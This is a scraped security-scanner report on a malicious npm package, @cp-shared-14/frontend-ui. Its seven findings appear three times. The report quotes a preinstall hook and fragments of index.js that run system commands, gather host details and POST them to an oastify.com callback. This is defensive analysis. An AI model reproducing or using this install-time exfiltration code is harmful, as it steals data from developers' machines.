@cp-shared-14/frontend-ui@6.3.4: Malicious npm security report

Loading npm security reports…

@cp-shared-14/frontend-ui@6.3.4: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall" : "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L8

index.jsView file

1const { exec } = require('child_process'); L2: const os = require('os');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

•command output transform/external POST = const { exec } = require('child_process');\nconst os = require('os');\nconst https = require('https');\nconst http = require('http');\n\n \nconst server_url = 'https://[redacted].oastify.com/system-info'; \n \n\n \nfunction executecommand(command) {\n return new promise((resolve, reject) => {\n exec(command, (error, stdout, stderr) => {\n if (error) {\n reject(error);\n return;\n }\n resolve(stdout.trim());\n });\n });\n}\n\n \nasync function getsysteminfo() {\n try {\n const systemdata = {\n timestamp: new date().toisostring(),\n whoami: '',\n id: '

High

Fixed External Command Output Exfiltration

Source captures command output, transforms it, and includes it in a POST body sent to a literal external destination.

index.jsView on unpkg

1const { exec } = require('child_process'); L2: const os = require('os'); L3: const https = require('https'); L4: const http = require('http'); ... L12: return new Promise((resolve, reject) => { L13: exec(command, (error, stdout, stderr) => { L14: if (error) { ... L30: pwd: '', L31: hostname: os.hostname(), L32: platform: os.platform(), ... L98: if (res.statusCode >= 200 && res.statusCode < 300) { L99: resolve({ statusCode: res.statusCode, body: responseData });

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const https = require('https'); const http = require('http'); const SERVER_URL = 'https://[redacted].oastify.com/system-info'; // Change this to your server URL const protocol = urlObj.protocol === 'https:' ? https : http; const payload = JSON.stringify(data); port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80), method: 'POST', req.write(payload);

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = a8c0a39e872fe207 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = @zuora-marketing/zuora-marketing-website@2.0.0 matchedPath = index.js matchedIdentity = npm:[redacted]:2.0.0 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@zuora-marketing@zuora-marketing-website/2.0.0/2025-12-12-@zuora-marketing_zuora-marketing-website-v2.0.0.zip

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall" : "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L8

index.jsView file

1const { exec } = require('child_process'); L2: const os = require('os');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

High

Fixed External Command Output Exfiltration

Source captures command output, transforms it, and includes it in a POST body sent to a literal external destination.

index.jsView on unpkg

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall" : "node index.js" }

High

Suspicious Lifecycle Evidence

The preinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L8

index.jsView file

1const { exec } = require('child_process'); L2: const os = require('os');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

High

Fixed External Command Output Exfiltration

Source captures command output, transforms it, and includes it in a POST body sent to a literal external destination.

index.jsView on unpkg

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

@cp-shared-14/frontend-ui@6.3.4

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code